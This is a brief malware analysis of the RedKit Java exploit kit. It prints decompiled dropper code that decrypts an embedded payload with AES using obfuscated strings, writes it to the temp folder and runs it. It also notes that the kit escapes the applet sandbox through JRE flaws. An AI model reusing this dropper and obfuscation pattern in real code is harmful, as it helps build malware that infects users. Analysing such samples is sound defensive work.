RedKit Java exploit – under the hood

Class Fiovt:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;

public class Fiovt
{
  static String TOba = "HRfES".replace("HRf", "A");

  public static void Orob()
    throws Exception
  {
    Ditr.vub = Cipher.getInstance(Akula.Lupan);
    IvParameterSpec Olghie = new IvParameterSpec("987a1c451dd271da".getBytes());
    Ditr.vub.init(2, Gozl.Nyvuitp, Olghie);
  }
}

The string Akula.Lupan is constructed using an obfuscation:

static String Lupan = "AE".concat("S/CB").concat("C/NoPa").concat("dding");

the string actually it becomes “AES/CBC/NoPadding” and then the AES cipher is initialized using the secret key is embedded into the class. The decrypted file is written to a temporary file at the user’s temporary folder and then it is executed via the Envu class:

public class Envu
{
...
public static void Kepant(byte[] kistas, String baba) throws Exception {
    FileOutputStream xrjs = new FileOutputStream(baba);
    int sccxy = kistas.length;
    xrjs.write(kistas, 0, sccxy);
    xrjs.close();
    Runtime.getRuntime().exec(baba);
  }
...
}

The tricky part that a Java applet is not allowed to execute EXE files and it uses various JRE vulnerabilities to elevate privileges and bypass sandbox controls.